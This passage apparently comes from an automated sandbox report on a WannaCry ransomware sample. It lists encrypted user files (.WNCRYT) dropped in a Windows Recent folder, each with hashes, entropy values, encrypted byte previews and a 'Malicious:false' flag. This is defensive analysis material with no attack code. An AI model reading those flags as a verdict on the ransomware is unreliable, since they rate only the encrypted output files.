                                                                                                                        SSDEEP:24:bk8JwZx0bxq+2v54vdlcE27cLvyMGe/vuFyeKYgXtURMJVGMHiheZCf0wRTWdk6I:bk8axUABJgLHoyDNtURM6m5gf3BMk6I
                                                                                                                        MD5:266E99F2D9B8EB6F1A9277E7E4C1553B
                                                                                                                        SHA1:3A09085D3AD759BD59FA31425897AFF56B071AC1
                                                                                                                        SHA-256:63A4592C8E3B5C74F4178A136AA12725BCC07D27ECB95CFD864D153D7979674B
                                                                                                                        SHA-512:A3E9EE9646B039D0E599F2297B872F6A5EC63BB0145B166A97DB92A2CACC21E14D4161E0211C64072C078186C550EF5A5C7E4A4126B17021B7CEC7DB7BFBC8BA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....t...Vgs,b^.z.kO..\,.m..L..N.qU.E.....4..>N.S1<.(/..S!=.\4...4!{.M.9....eO.....I.$.n.k+..F9........tu..Vd.T...}{...B.k.7.FV...c?..d.]GpXu.L.X.h.UF.@.|.....Xr._....q...E.R.D.;.1o(.. 5....;S'....Y.|.;.j8..TY.x..i.1......v......u..&,9r.3J.j.P.............p|....`T,|.v...!.c$..|..-....{..lB...]O.;.o.6A....b.iSy.....E}3.1..Pfe,..A.X.7...`c....*1..P.r...X..r.Gi8g..l...+....v...f.v{O..\V.@N..+..Q..Y......u.fP.Js.[}.r.`.gR>.....A.)..O...1...^Nr^..X......l.....(.w....$J..........ej....e\^H..B4H...#..G..F..... ....U... ..s......j.,&[T.=.5....q.....E.tS... ..H.~H.e...9S...v*kh9;..3.../qy7g...._.e..o.>.."..IH.[.-F%.r..T....P}8]2.....b.{...i.7X....L{...C.a...Y......JZ#......h6.Zu.27.=..wZ=e.'.B...\....B.x.-a.@..Q..*..Oe.....e......P.?E.\m..o.5F.....E...(...".=.".9.g3..8I. f....i..Gy7..\e./F..reQq..UK....."x.?.......i.?dh.v.A..M)..u|..Qp....v.~./.Y......u...oD.-..HL..al.6.8..7bi.C..g.....$..(.De#[.....w...pV..R.Z..=+.`.......~D*.3,.".f.....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840405993782491
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9GckLR/kcnm9vHt+JZMlBrsKOOAfkskheOhdNAzkX4cjhduOPM7QO5w:bkgc0x6H874IKlPhblX4clDM/w
                                                                                                                        MD5:36F76B4E1BCA324D8025D6D47B023E21
                                                                                                                        SHA1:9EECF663D72CA674169A2FD57D82312EE28EF407
                                                                                                                        SHA-256:294AD0F3185308B0A4E27B477EC4208590D90A7485FB8A30F76A78719FD3E7E7
                                                                                                                        SHA-512:582E3156024996308998A7FACC0E77D7D6B882542689280CB8FEE6F37C8F992EEAF5B22BE4DB2519A6FFD19DC0A70C27FE95304982E9B45DAA9EC54EEEC828B2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...../.;.f...........;u..E...|1.|IheI[..1>.......J.%......PCx.l...J..^...C'B3..F.{..Z".A2....F.gUv........Al.J.....m..^.........[."RB.9[..|.y.-...U..%..x.h..G{.m0..f..9TQ....*mwM.e\...TgI.=.B.}.w..=..Z@...p`...E).3.>....*Y...f....M..)d..V:4..._....}..............]<':.+.`.".....<.p..3w.r..[.....CW.-KSi.D\L4.r.=..+]t...q|.Q2.J..9...&.._......ig*t......o.a|I.&... .. .#u.$.;W...m4mM.F/_<..........R90.".}..j.....x..$.Ex...N]..).....1..VR....F;.a-.*r.....N.o.Z.$V.XBtz.x....FJ...{s..........9.k....f...u..I1.x.\.V.A....f..1\+.;...=.B9..a'....F..*...dt~).......a..!.oe?".V.EC..L....Mfs{o5..(...J.V......>...T<PtN..J..a.e.-......y.....0nq.xd.x.@......Z.G...H,..`.0R.Y".k..~...H7.b.I.......ap.Q+.o..S.b.v*...w2.O.....]....{.d..W.^....%*.2..NX...]XK..m..._........^i@=. ."Y.w.....U0.@S.....F..\a....$#...r......!a...I3_...]Q.F>v...7...Q.k~`....JRB.6.9..t*.U.Ka.I,...$..Q...PuA.[..f[..f`..oa.9s....W.4V."b.6d.;.r.M...d=..Ux...8..D......U#t.....i...$

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.838704648974099
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3/11oAAs5UBB2VJzRms/JI/8yWyDtTOXWMScsmDwDKV5W+gd/NjLIn:bk3/QcJzRVJI0QTeGmMDG5bKjsn
                                                                                                                        MD5:776325AD50487B904C44F2C39E7F3E4A
                                                                                                                        SHA1:11D26DE12EF82298CF165629EA494E35880326AF
                                                                                                                        SHA-256:E7C9160832B026829B46FCBF43B726EF6306C947A402025BB0425634BED95DDA
                                                                                                                        SHA-512:E64BBED66A04FC8995AD538A953C800995BE94EC4C5AE8C98037F5A20585A65D161B110F62C5AB4E93F1269B7F4267D87E2FFE3ED9DD8110CB442F1EDCCD74B9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....I.$g..{h.V<.)..k. ..\r.K.........~9y....j9...'k.V..1.,.......@.~.!H...u5...?.}.....jY.......9.......!.`.uy.9r....S.z.....*Q/.....F.Q.R.Nu..g..?F<.s>*WW.Z..F,.....P.&..F....`?."h.*f...3...H.h...........CC.......>8._.=.....>{..*..'.H4...f....................w!.{./.ok...h(....X..P.V.F...9...(lj.+.q.s..W...x..;\Mk.O=.M. e.E..i...a.E....Zas0]-.Jt..rQo.,0..|......A.......+.69u..;..~7.n{C.S.h@s..Y.M.H.1R._......|.x.j.~to.6.>.k..$....w...N.vZ.%..}....7.3...tan.....Y.. ....0........e><..i9.....O..}.]w..[{..Iv.9...v....h..i.IE....m....m...(;P..s..;^h..E..`z.1.T30\<i".}....E.B{>.aa.....VD....[Lq..:,V......n[..-p..e.k.<i.hq2..8AY.]..J...Jr./M....1.=.aje.9yn...G(.L..p.....UE1..1U.-...a(+u0...........a.ob..9.>}.".....Q..RI...R..N...vC.4..Y.........&.M..[.%....m..$\..jc.z.g...t., .......y.-....;.6J.YVQ*=X...T.>W6vL4}..w..Qg.CT......N.$\qe.k.....E.W....+...S..;.9..=./.-.d..._&'...,&....r.71s.......b...&}f....6..P..yP.l..f.b.............Q.M>p...

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MYJHYOXJOK.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.853702734088437
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkqyK1g3gF5mg/w2ddXRlFGIi7AjdxRbyO+svsDo9jIGb6wOT9bUNC:bk9GH/9ddHnrD0XsvsBbTZUNC
                                                                                                                        MD5:EE6C91EABC5E7C287B3410F58DD00F05
                                                                                                                        SHA1:6A46F1FA2DD80B42DFA6DC30D1D8026109DE873B
                                                                                                                        SHA-256:69941582C793E95D3E6A2FD1C6BA73F252622A229797F06C7527A7D1CE5A93C1
                                                                                                                        SHA-512:CB0FF978495A215096D74A19EFC74FBCC07647902EF508867CCAAF0E99E1D91572698D1A60A5EEADA07E57E58AFBCED9D3ACDF416A13A52E7C4EE139312F96C5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......Y....8..u..@S........(..0..kc.9c.l.d.$,.(.......:.h..F0..G......$r......p...|.UL...S .M.i`.t.m..o..s.l.I`..F.Q...Y~..@|....Sk..:..y.&..nw..L...O&I.^.-..i.>Y=...Q...\+.q.0[t..5.[.'.j.,.... ..e.....%.J...cb.."...._M... ...G..s...(*Rr.&@k.JOI...M.7W.............E..l7;?.K)k=.T#..}.VNH^1......*.qs.@.yW4....Yr.u.....K.}......A.&a..+.m.<E)p=...r..n?..J.G.d\...9..erRg.`...o.XR...\._./.!......j,'..y.3..]p...`.....d3tY....%....|;....POo.z..<..._B..tB. .k......oy.$..2V... .Q.y.#.........-...TJ..5...5&...t_......`.i...g`W.~R}....l.....i......[5..K.T...j....#.....*.2.&..[Q7d...........Z..'>.....6G_.<$.w.35.._5..C...p_\._......=..Q..BP....J..~..k...\oR.....u."..d.h.......iD.....%c..Ze..>.).E...:.-.-rk.../.`.@w..^aR..&....w.\..u....zy-q.n..f....*o.cw@..I.....[..;....r.r:..."p.......4*...Sq.>.:(.%......s...w...x...N...F.AA.j.4A.18..t..Bn.t.!..#...L.8.h....0.@.v........{5....rW......=...r..b..u&)0..."..zK.%..F.`...o&.H...........y0....S..t.z.S...7...

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.822431830152178
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkNIb1dZo3rmxzMRT6shgIOFmlKpNc8eDMfUK0+emPA/aPdIQL2:bkNIb1xMWIUF6x2eBwk
                                                                                                                        MD5:4F58C927A8D5A08B685640BED02D3189
                                                                                                                        SHA1:8A848432099C1B46E4273482885EF354C74832B7
                                                                                                                        SHA-256:0C103B65216CD82E923456D087B2135931BD0899D2D2D572927F6A07F0826AA4
                                                                                                                        SHA-512:670E52B7F58F1E6A5CB4C9A2DD23BE2124AA50EC8DBDFA919DD449E244DB5186D2E3056645DCFD935756CCF80F4FC4A040285612A5DEA053043354407C695345
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....4..>..%....M......".....Z.........'...T..5..w.....v.l>.....q.P.C.(../...;..1.B.M*}...L...tB\...D..<T./V4.H6./...,aq..G.x.h3..W.G....:T..(9.*......t.,......b3..>...&c..z.,t`..........^U4..*Cp..^.7.S..qS.L.~...I..Q9Y.7.............v.Tx.....U...~9............ii..U..Lj=.(4T..TC..V......;}.......'I.T......].[...... ...J&W.../@....~Ou..4T6;....CZ]....)&...j:n.fZ...P....1..g....yC........k.~q...jO......q+9;c..$R...\.....h....".dvd....K.l......!l...@.7A.....f..>.tZ..._..../.^.....;.....`.]..........t....?...6.......P...L...F}.l...D.,6..Z=..C.r.2.....,.j...../N\..1.cf..x...dG........IfZ.r..j&.<.z........Fz.Z. .;.F......&.6.....:...G....|;S.....#.A!. .!...;....#n(.HhYp;vo)O.vn....G.-.K.......qX/f....!a...oK$..{wi.b|j:...+..+.Q.=R...Md.x.^.mtG.........e...w.....v.]'.G.s.<)8q......p.y..v.K.-.&.V...2.;......5y...A...r..U.x..k.n$.a.Y.....H.e.....v.S..b.-......9C...0.9V.v..z......fYY.{.#.$....z9,p+..#&.A_..zgv....*F).<.AG#.w%... ..$%..5...

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.86164071293595
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkz7l+uPKLbPw8esn0+Ynkc8M2+5cMsI+pa19cEibQC+v6tIKNhhJY0NeBf:bkLSH2ou5cMYa16QCVttpY7t
                                                                                                                        MD5:910EFA731A392D0749EE03A8B5ED4548
                                                                                                                        SHA1:0E82A211AFD466C3B4DBB9629C1FDFA5A6648934
                                                                                                                        SHA-256:471633CCA78179CC4C6F06CA14C785AAF7B969DCBF28C9888C1636DD9B44C98E
                                                                                                                        SHA-512:E6C9D51180F16A356916FB732616CDC3BDE8B61C3D99328E5D3FB47E272649E4E98961E0351B613FB23A4D9E0D0780019759E45E52C7EF3C5B0F01CC3840B18C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......]M...".i.n..(...B....4..e..C.'...j.!C.X1 4sR.ut..../.zt.7.....Y..l.g..L.JEdM..TD.(..WDjB..9....i.%.hf...?o.....Pok...)..y..._..@S.'..(.q.tm<..P......T\..*.k...o>..q...M.} ....+....a.=..C........I"......B0s....P..E#..".rp)b.f4..Q...S.X1.k...H..<............n..0 9..}....+.v....*......6wm.D....&..8fu_X-q=...{.d,..y.P...H9:.".h.>....y\.9l.Y.....4.?U.o.:P.8`......&...YW-.Y...L..Y..uX.....Y...p...+~i....H,m..=`m,.X.....e..t.x....h?......1.F}...D.....K....P<.....l......+...j.$.%Z....qA..\.....'2.{=.s....u..w.np.K.U.Z$|I[;b.!...u.Q4uG......w.N..l>fEc.....zpn...p...GR.....:.\E(...Z.,T.,.|.$........y$..BLF...;.!5twdR....7?..v.J...6.].......f:..50.G.e.?.r.Pk.... .....y.Xt...-R.~...K.}....`.7.....KG'.=.j?.<\....; h.DD.....#4.T[.......pP...\.-...>w.v.|...P.*...+0..C......7O..z(.1u.4.x.$Q......(l..$.....dM....Ti3\..3,J.i.-o1X.........&..7....&.......8..F..S.<.8....]....Po..9..XH..%/!}...A....{#%f......y...Sj+k.M...xs`.........D....

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIRMEKAMZH.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.848936154468307
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkHIJWxhHW7rOBVFY1DNSNvPDmDvUaUO3Y4gELFuWdDPeLzk3Tq:bkfxpW7r4VK1UJPAvDUIY4gELIWdz4kW
                                                                                                                        MD5:6960B12E7FF278135E12133C1F644CA0
                                                                                                                        SHA1:A35B2B8AD232C2CCA85EDCCE2487B5253D7FC54B
                                                                                                                        SHA-256:DD7FA0062A8844C76A91D9B5A26A55B3B554422DED97FA302101A4FFC6F97CDA
                                                                                                                        SHA-512:6E2BB31689B7AFB1EEAA934F2A0193FA8102313CA542178F75053BBB0E87EA68C5356141FBB4A29D87949DCB2B0802FD70605B46F00110937ACE1DFC7BB16604
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........87.g.1.#..*).O..Z..6.}c..%3..o..RM......})....4e........x.Oa...y.U&.hdh..|.n......F....TPn...A3.PI|.<P...7k..X($..\{....[..@Uom....E.L.-!.70.,..A.L..lu1...d.9)6...7.[....aD.cnWrB.LK.U...L.j.a...U.R.k<S.....Y0....S.....G......i@Jj..K.c..v...............f.OZ...................Q}xN"ae~)f..k.@..-|7...:......5m.....|X..U..m.d..T....7.Q..w.x..(.B....R.N|...]dD...P..*!...k.'....D.....{m..6H..%r.......T..p.%@/g.SH....vl....iH[...or.(.W.....z..u.u3.......o.....3.%....f.bG.m!...Asn...J'B.j..........dv...f<;UD!...sM..|X..X;..y.......@|.P..'s.`^...Z..GN)T>.).R;..F..RI...........lB.)v.....W6KR~^`./.&...}....sbI.....9.S5;....5@.q..."sxW>(2..G.hb..|.....6.5y$0.....y......DV*..8..M....6..#..)dJ.O.G.7G.._..X...B.e/.C.n.ps6.`.J..._..j.o....^..."1.i..>..../H..C.J].'.\.d.. .5..M).nx,.=^.9.cf..^....d...!.A...s....[v...'.I..'.;...3k....l6,....P....D.......|Oc.l9...cs|...x....zm....4...b.?.=.D.Tq{9[O.......B.K.................$[%..........9nm.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIRMEKAMZH.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.870781474552516
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkwXaShaY4jA5DM59+9H72oSwX9MC1AlTXuDyRTQA4kX7cBTA1kTFPOaT0xrIEuz:bkuIMgjqHioS29MCiTXu2Rh4kXwBTjTV
                                                                                                                        MD5:1672C59824755BDFADD121699CD0436E
                                                                                                                        SHA1:616C184C04F3894F06D692EF0E2101D4478909A9
                                                                                                                        SHA-256:A66BDA0C7C52B94B311954755983D8C58F786ECBB11603B739D4AD700A66B08B
                                                                                                                        SHA-512:77691013138CFD05BCF35745F34F7759BC15B1121C6CC52CB7162C052E74A55F63D41C6D262BD3129C9DA5B5330F85AE2BF1DDD97604A1DCE4B913782DE5730A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........n..L.'..%........sFdV...A.Q..-..v.D.o..ok.L...}.H.S.l>.....p2`.[..../....t..sh.j...e.....-...'O-.C=%..l...n.7.H]...`3.!..YH...g....>.S....Q..Z]....~.8J.>*.j}........-.c..{!...iAeJ..;...6..M..G.vc...;..k....6.b.........7...,.0......>..k..................4=q...R.{DWME.rq.......Q.G..?.jtk.K.+...:.04Z.:}l...2.i].3..9>}1..V.1n2.....4p..x.UlL..p..O}.S.u..........>.j.U.........8gn.X..u.W..M....)m]c.~,d...]~9...@...D.kp[.......,{.3.......sp...zz.*..(0.....+...=.h.p..:.[4...jyg.... ..X.....x....7....b..Md{ .A.p..A..>.T$..J..t..x..9<....q..P......I....... wv.q....+..=...N7....C.p2P.C.T........&&I.....$....X.!...C.!4..n.qr."...1".r....h..z...mpw....`}....I..;.t.o..Q.k...b..q..v.)N...E..|o.-!c..2..R|}..`%...R.P.{'.B'.%x..-.X....}...Do...X.d....e...F.....z#...Y`.)..t.yZ...).........(w=/..9.2.v.!#..+..%.o{..Y:._.....7"..R.H...g.....~.,..{:E..p..S...]z..N........rwKNUMn.b>.....j....q.&m......u.P.8.(.._.......4.Q...?..<...d.H..y.H...I

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIRMEKAMZH.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836937300502518
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkEBNZ/UU7SeUMDuzN59xTmJvWpiHDIuJYDKKx0GglUplkDyyTUqOrGdGmp07KHw:bkEhMQSvMD65nOOEDLux0GW3DyyHGGd8
                                                                                                                        MD5:26795B2AB40AFBA05B8F957D059005E9
                                                                                                                        SHA1:AC2B012676C8E20E4D69DFF3BFAB87CE1FCF0D95
                                                                                                                        SHA-256:53A845EC7EB77F1C589A5AA1D2065C440E54054782CED8853A533F2FCF8258FF
                                                                                                                        SHA-512:E4EC32D99589886A7A7483391AFC7A0C8A4E69A3EE3A573CB80E2355719494BBBCD358177C06150EE55254F8A04B2612FD76917C9FCD6519192895DB84D9FA5E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......z.e..v9.u .Oz..^...c..Si.m.....w....%./.3......+..\p/....6n|3...R.........Y.CoI.(....K.w{.o.~.....\...kE\...cR........U..O.....jl..QE.gU..&=..ba.T6.s.u!. A.NI.....FTi..g..O............l..[..c...K...d..96.RP....%].(.=..k.a..'B#l.bUa.9...f/t.................X...L*..yPp<3...3P|tX[y.....3....O.h{......f....O...}.w,..@B.V.#.N...M......O.....+...;.x#.r.....@.......f...:r.;..~z./.aHi.[.........#..:.p$.(.k..3..Q7"..n..~...k...#...._......_Or..s..PX"#A.:{...^...."0[X5..nV..:K.H.U.....E...XA...&Jw.|.t.sM..8!P.....|..*.v...F.."...2../.*^.a..2+;....kL...Y\...d.G.......:..r.w....w...}.0_.9.;.3..........V..m{.tI..N.c....@..Cu2...u.......`......#\G"<!..,..T.4.D.....\......O{...H#....kpp.....:.hGi...../.#....l..t._..3.c.._z.u....}.A.&.B.z..6....Yu..'...B.X.f2...g........<.,.Z..4....Y....3.^4\...\=..v.....(...#..Ft.2......u..U....".x&V....Bjo.dS..f..8..T..b.r...=.....Vd.l..c*..r.....}<.!BD.._..(&..]5;E..^.3....2.|=F .....t..M.!.....J.*

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.830210524834923
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkh2jFKzKZCMMEzLa/SvJrFcUT86o3mkPEZJ0IJAgfHOEobud+GOMd:bkh206zLa/S5uUT86azcZJ0mmECSS6
                                                                                                                        MD5:0D09688642C6D7A82ACA5FDEAFA7E5B5
                                                                                                                        SHA1:891E6BB844540B5C4A6B7CF03FAA91E27D484AC4
                                                                                                                        SHA-256:BF23A89F3BC5E9419586E0CC29B68B3F33F1357BCF0513493CECA9C61311C790
                                                                                                                        SHA-512:F3A7DA404112F0CB747DC43D9C0587C2216C3E46E3BE19A6F151016593CC41ADA8DCB21E86F2105D9E4FDC52C29969AD70C4C13417A32B1F14E63C233454AC81
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....uwJ.Lp..~S#......A.^Et.....fC.J...#l.}-sN.ZL...(j...m..@.0D[..(.'.@3../.3.?.sS.......m6D.2x'...s..tdU..]D........."R...[......*.6.d.z./.....H..z..[P.}:i......s.q_v.]..RE.Ozu...$.<?lg.....BM.'.rYp.4E..h..5n.f./u.,........(../.Vv.=@.h).p...<.....9...............Y.9..K.z..<_(......?tf.+.41....Fu....#.'......B..j._c.. ...."%3.X..:.[......D.t.JO...KKy.......Pg.7.M.N.i. ....O.d?'.Y..23.....2......U.I.{....7.2..L..]..i..:........N....t7KY.s(W$r.OT..^.q...\...d..]G....s...z.c..Mb.5wM.}..k=L.S..@....4.W..:ED...j.b..>.1.n....X.#-v..W<&.'^.`...m3=Yl[.......:Hj.f..+b.tU.R.....j]x..8.q.......CF.o.2... ...]^.}Pdd.........G`Y....q.jjh...9.I.V`x.,....#..H...Y.#..nw.Y..IA.......+&.gP...E..% .e3...m..O.>....k.......2}...d...H..o$y.jPS.....<o5......Rl....x.Kq.`....r..&hw.....q.............@.}{.V..x.S}..z+UG.s.1N....&...A.\$+.G..jM.Gxd.|.2....k.O.....M<.[...J!.Gs'.[.6D.v.d.n...R.*.4p6...|..h4D}l.l..q......]x(.."%........\..!S]....8..:.g..q.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84868624298707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkIoo1yS2wnlKe8lDFoBfndgtwIsr0YEyYOjMRByRLln/KMZGnns57J:bk3QyVwn4jDFAnatdsrFjMH4lnSMEnn6
                                                                                                                        MD5:7459F56807A30F9BFBA2FADC749EBF88
                                                                                                                        SHA1:43ECFBE28526527048E7B6502F36ADE1FE4BE162
                                                                                                                        SHA-256:38B148AF705D8F43D96D0601BA1B602F8EFD16041159CF3B9C17722815091127
                                                                                                                        SHA-512:21D352D459839BBBED57AFA48BFB5872666963335741109F934E4878ADE34B027BD09A3DBA7C6912D3F6D02DABAC4D41A438F5ECC8E86BB4BE8F843A7B340DA7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......([..........P.,.@..EP..>P.......Mi.a0.....a..&O..+qT.D..M.H.2P..]S4j+6.j..D.".Rnw;.8..Cf.-!U.l.....voq..<..|.\..Z.n..<v..p'8..b...`..........s.9r.d............!t..q.v?.B.~..c.....u?.#`...o..o.*..~...FO.H....{{ny......H<M.(#.h:O3..H..................+.z...N#..FN.3......T6E]..-M..W..i{..D>.m.e8...$_1.wb..u.o..?.P...p.}.r.5...H......_A..Q..........R.b.....O...%,..*....Z..~b~.Lw.o.`}w)...E..d^.?.....|....?.+.gn..<..d..N.w.W.6.1.?+N....><..z.5.....d.8.:r.:TX.K....8>..&.87..}p...U.....].F.8U.g....c.t,<.+SX.T5D........h.iVw...0..r[/u..].X......'......}!.(=$j..S.=I.7....}{N.w...I...~.c1.WsB'.5.6...S.o.....4.@...`..hA_...c.c......R'...A.$6h.{.F..n...r9..p.N.8.;.e..r.C..I.<8........B....H....-,)x...ar'.Iv...(.G?>.b..}.>.A.^......t...4Y..E..J.p..9..M....F.>.:FS.-|....s...RUx.i.7..@..A.....VI_...p/....I.g.f[`.....??v."._E.@y......z....;ne...q.F^(...o.kK/.SK.H .?..8..^...O%.m}..!...c....4......g.........poc{R.L...D.[

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OLEWPUBTXE.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.849888106617771
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkKx37fYbe6zVVvVwWB5ZqkMGolh8hbvKg9YdgddXCusYm/t8SLG6WErhH38U0pT:bkK1p6zVcoAkhoodk6a8pSLGemjUs
                                                                                                                        MD5:9993E8E7B9F55E4010F2C2072866518D
                                                                                                                        SHA1:8B79775BE08014402AEF2C2149DB3CD8CCD0FD75
                                                                                                                        SHA-256:895DBC20BAE7150E79FFA8F7B73B961BE79C9BC75DBDDF6CCEACA8C5E25B84CC
                                                                                                                        SHA-512:1F3A3672C8A5E7D4C7A41021626BB8FBB9162CDD914B9720880A6D08EADA2BEB3EC7AECC4675F55F7D3A0F010A07D0A3BCDCBA3CECF37BBB736C45F662296BD0
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......W.>..)k.e......Z.1.."....Py.."UW..&..r.c.$N...L~.ne3q#t...{}..R...;.=K..Gz...?.f.....E5[B....G....z.QY'"...>...f1...:...QF.zYj....x~.?M!T./..8..F,u...Y.5...k}.4.aVH.O...T.Q..Z(u.$...{..{T..V.S.b.EK}.."xW<5../..i...}.5..-.....@....w;..6...@.L................q...=....e'.%.P..!.X..R1.<)v4"[..9.....dF.....Pv..x`9..SZ.G.....9.T\H..........i*t.&.i#.-$.~$.+\.s[c..TC.Y........-F.S.P.w....~.=...Up...l..Z.O.m...D...^....s..X..C.e.H.d#.>...Y.....+4.n1.a........VG....tQ..b .r4qY%2Y2n..:...|R..w|.....+~..K2._.x1m..N..2A....M..,.5...WA7B{.;)zd..Ie.E79..V[.|..#I'}.O.....A."...j.FL`>..:s......(*..6..MK.....<.6...vA&.tO.<'.....2.......V..n..d92..7..+.K......~@j.9s..:U..:.........K...y.%.2S.~0Z.......<$h.D.....wk....5..Pl_iB..... *.TN..T|.....|.%..f.....57......:.\N._.....e[f....dR]6.\f...6..:..,..i}.MaR.R....]..N.8.g%.}.<U.......|.y.M+.....$....h..Q.\s..=.D.e....R...%..8i....H.....s...E..I...".T...:.,#T.$.H..8N.N..y......rG.m.{/4..I.......H@...

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.843957589316176
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkE/vjhCtYO9AI+BcpoEibdgAI41h+/m18bCuGgM5DhZj2OEDq+1QpL83:bkrDArqpuyAI4eu18qL5DhZLKqAqLM
                                                                                                                        MD5:D196C09495B0C4CE8E22D04446681F51
                                                                                                                        SHA1:6DBEB9B3C590AD33A00DD1999C59B551C4267E37
                                                                                                                        SHA-256:0C9DF925A887B4C38EFB5C8E808DA6C9D252507EE1468B69CA49D6D2E04CDAC1
                                                                                                                        SHA-512:1231732F133FB6D8CFDD99224CCA002D48411284704C7E8CB4B67C0B5FE6269E138FD6021CF84CFEC39DF9EFB92E4570CD1217B470A05EEF41595054261459E3
                                                                                                                        Malicious:false
